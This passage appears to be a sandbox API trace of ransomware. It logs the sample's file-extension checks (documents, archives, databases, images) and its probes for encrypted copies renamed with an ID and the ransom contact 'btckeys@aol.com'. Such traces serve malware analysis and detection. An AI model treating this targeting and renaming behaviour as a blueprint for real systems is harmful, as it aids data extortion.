"c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[btckeys@aol.com].2020")) returned 0 [0067.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0067.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0067.316] lstrlenW (lpString=".doc") returned 4 [0067.316] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0067.316] lstrlenW (lpString=".docx") returned 5 [0067.316] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0067.317] lstrlenW (lpString=".pdf") returned 4 [0067.317] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0067.317] lstrlenW (lpString=".xls") returned 4 [0067.317] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0067.317] lstrlenW (lpString=".xlsx") returned 5 [0067.317] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0067.317] lstrlenW (lpString=".ppt") returned 4 [0067.317] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0067.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0067.317] lstrlenW (lpString=".zip") returned 4 [0067.317] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0067.317] lstrlenW (lpString=".rar") returned 4 [0067.317] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0067.317] lstrlenW (lpString=".bz2") returned 4 [0067.317] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0067.317] lstrlenW (lpString=".7z") returned 3 [0067.317] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0067.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0067.317] lstrlenW (lpString=".dbf") returned 4 [0067.317] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0067.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0067.317] lstrlenW (lpString=".1cd") returned 4 [0067.317] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0067.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0067.317] lstrlenW (lpString=".jpg") returned 4 [0067.317] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0067.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0067.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0067.317] lstrlenW (lpString=".doc") returned 4 [0067.317] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0067.317] lstrlenW (lpString=".docx") returned 5 [0067.317] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0067.317] lstrlenW (lpString=".pdf") returned 4 [0067.317] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0067.318] lstrlenW (lpString=".xls") returned 4 [0067.318] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0067.318] lstrlenW (lpString=".xlsx") returned 5 [0067.318] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0067.318] lstrlenW (lpString=".ppt") returned 4 [0067.318] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0067.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0067.318] lstrlenW (lpString=".zip") returned 4 [0067.318] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0067.318] lstrlenW (lpString=".rar") returned 4 [0067.318] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0067.318] lstrlenW (lpString=".bz2") returned 4 [0067.318] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0067.318] lstrlenW (lpString=".7z") returned 3 [0067.318] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0067.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0067.318] lstrlenW (lpString=".dbf") returned 4 [0067.318] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0067.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0067.318] lstrlenW (lpString=".1cd") returned 4 [0067.318] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0067.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0067.318] lstrlenW (lpString=".jpg") returned 4 [0067.318] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0067.318] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0067.318] lstrlenW (lpString="auxbase.xml") returned 11 [0067.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0067.338] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1434) returned 1 [0067.338] CloseHandle (hObject=0x1bc) returned 1 [0067.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0067.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0067.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0067.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0067.339] lstrlenW (lpString=".doc") returned 4 [0067.339] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.339] lstrlenW (lpString=".docx") returned 5 [0067.339] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0067.339] lstrlenW (lpString=".pdf") returned 4 [0067.339] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.339] lstrlenW (lpString=".xls") returned 4 [0067.339] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.339] lstrlenW (lpString=".xlsx") returned 5 [0067.339] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0067.339] lstrlenW (lpString=".ppt") returned 4 [0067.339] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0067.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0067.339] lstrlenW (lpString=".zip") returned 4 [0067.339] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.339] lstrlenW (lpString=".rar") returned 4 [0067.339] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.339] lstrlenW (lpString=".bz2") returned 4 [0067.339] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.339] lstrlenW (lpString=".7z") returned 3 [0067.339] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0067.339] lstrlenW (lpString=".dbf") returned 4 [0067.339] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0067.339] lstrlenW (lpString=".1cd") returned 4 [0067.339] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0067.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0067.339] lstrlenW (lpString=".jpg") returned 4 [0067.339] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0067.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0067.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0067.340] lstrlenW (lpString=".doc") returned 4 [0067.340] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.340] lstrlenW (lpString=".docx") returned 5 [0067.340] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0067.340] lstrlenW (lpString=".pdf") returned 4 [0067.340] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.340] lstrlenW (lpString=".xls") returned 4 [0067.340] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.340] lstrlenW (lpString=".xlsx") returned 5 [0067.340] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0067.340] lstrlenW (lpString=".ppt") returned 4 [0067.340] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0067.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0067.340] lstrlenW (lpString=".zip") returned 4 [0067.340] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.340] lstrlenW (lpString=".rar") returned 4 [0067.340] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.340] lstrlenW (lpString=".bz2") returned 4 [0067.340] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.340] lstrlenW (lpString=".7z") returned 3 [0067.340] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0067.340] lstrlenW (lpString=".dbf") returned 4 [0067.340] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0067.340] lstrlenW (lpString=".1cd") returned 4 [0067.340] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0067.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0067.340] lstrlenW (lpString=".jpg") returned 4 [0067.340] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0067.340] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0067.341] lstrlenW (lpString="auxpad.xml") returned 10 [0067.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0067.427] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=212) returned 1 [0067.427] CloseHandle (hObject=0x1d4) returned 1 [0067.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0067.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0067.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0067.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0067.427] lstrlenW (lpString=".doc") returned 4 [0067.427] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.427] lstrlenW (lpString=".docx") returned 5 [0067.427] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0067.427] lstrlenW (lpString=".pdf") returned 4 [0067.427] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.428] lstrlenW (lpString=".xls") returned 4 [0067.428] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.428] lstrlenW (lpString=".xlsx") returned 5 [0067.428] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0067.428] lstrlenW (lpString=".ppt") returned 4 [0067.428] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0067.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0067.428] lstrlenW (lpString=".zip") returned 4 [0067.428] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.428] lstrlenW (lpString=".rar") returned 4 [0067.428] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.428] lstrlenW (lpString=".bz2") returned 4 [0067.428] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.428] lstrlenW (lpString=".7z") returned 3 [0067.428] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0067.428] lstrlenW (lpString=".dbf") returned 4 [0067.428] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0067.428] lstrlenW (lpString=".1cd") returned 4 [0067.428] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0067.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0067.428] lstrlenW (lpString=".jpg") returned 4 [0067.428] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0067.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0067.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0067.428] lstrlenW (lpString=".doc") returned 4 [0067.428] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.428] lstrlenW (lpString=".docx") returned 5 [0067.429] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0067.429] lstrlenW (lpString=".pdf") returned 4 [0067.429] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.429] lstrlenW (lpString=".xls") returned 4 [0067.429] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.429] lstrlenW (lpString=".xlsx") returned 5 [0067.429] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0067.429] lstrlenW (lpString=".ppt") returned 4 [0067.429] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0067.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0067.429] lstrlenW (lpString=".zip") returned 4 [0067.429] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.429] lstrlenW (lpString=".rar") returned 4 [0067.429] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.429] lstrlenW (lpString=".bz2") returned 4 [0067.429] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.429] lstrlenW (lpString=".7z") returned 3 [0067.429] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0067.429] lstrlenW (lpString=".dbf") returned 4 [0067.429] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0067.429] lstrlenW (lpString=".1cd") returned 4 [0067.429] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0067.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0067.429] lstrlenW (lpString=".jpg") returned 4 [0067.429] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0067.430] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0067.430] lstrlenW (lpString="ea.xml") returned 6 [0067.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0067.430] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=384) returned 1 [0067.430] CloseHandle (hObject=0x1d4) returned 1 [0067.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0067.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0067.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0067.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0067.431] lstrlenW (lpString=".doc") returned 4 [0067.431] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.431] lstrlenW (lpString=".docx") returned 5 [0067.431] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0067.431] lstrlenW (lpString=".pdf") returned 4 [0067.431] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.431] lstrlenW (lpString=".xls") returned 4 [0067.431] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.431] lstrlenW (lpString=".xlsx") returned 5 [0067.431] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0067.431] lstrlenW (lpString=".ppt") returned 4 [0067.431] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0067.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0067.431] lstrlenW (lpString=".zip") returned 4 [0067.431] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.431] lstrlenW (lpString=".rar") returned 4 [0067.431] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.431] lstrlenW (lpString=".bz2") returned 4 [0067.431] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.431] lstrlenW (lpString=".7z") returned 3 [0067.431] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0067.431] lstrlenW (lpString=".dbf") returned 4 [0067.432] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0067.432] lstrlenW (lpString=".1cd") returned 4 [0067.432] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0067.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0067.432] lstrlenW (lpString=".jpg") returned 4 [0067.432] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0067.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0067.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0067.432] lstrlenW (lpString=".doc") returned 4 [0067.432] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.432] lstrlenW (lpString=".docx") returned 5 [0067.432] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0067.432] lstrlenW (lpString=".pdf") returned 4 [0067.432] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.432] lstrlenW (lpString=".xls") returned 4 [0067.432] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.432] lstrlenW (lpString=".xlsx") returned 5 [0067.432] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0067.432] lstrlenW (lpString=".ppt") returned 4 [0067.432] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0067.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0067.432] lstrlenW (lpString=".zip") returned 4 [0067.432] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.432] lstrlenW (lpString=".rar") returned 4 [0067.432] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.432] lstrlenW (lpString=".bz2") returned 4 [0067.433] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.433] lstrlenW (lpString=".7z") returned 3 [0067.433] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0067.433] lstrlenW (lpString=".dbf") returned 4 [0067.433] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0067.433] lstrlenW (lpString=".1cd") returned 4 [0067.433] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0067.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0067.433] lstrlenW (lpString=".jpg") returned 4 [0067.433] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0067.433] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0067.433] lstrlenW (lpString="keypadbase.xml") returned 14 [0067.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0067.449] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1118) returned 1 [0067.449] CloseHandle (hObject=0x1d4) returned 1 [0067.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0067.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0067.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0067.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0067.449] lstrlenW (lpString=".doc") returned 4 [0067.449] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.449] lstrlenW (lpString=".docx") returned 5 [0067.449] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0067.450] lstrlenW (lpString=".pdf") returned 4 [0067.450] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.450] lstrlenW (lpString=".xls") returned 4 [0067.450] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.450] lstrlenW (lpString=".xlsx") returned 5 [0067.450] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0067.450] lstrlenW (lpString=".ppt") returned 4 [0067.450] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0067.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0067.450] lstrlenW (lpString=".zip") returned 4 [0067.450] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.450] lstrlenW (lpString=".rar") returned 4 [0067.450] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.450] lstrlenW (lpString=".bz2") returned 4 [0067.450] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.450] lstrlenW (lpString=".7z") returned 3 [0067.450] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0067.450] lstrlenW (lpString=".dbf") returned 4 [0067.450] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0067.450] lstrlenW (lpString=".1cd") returned 4 [0067.450] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0067.451] lstrlenW 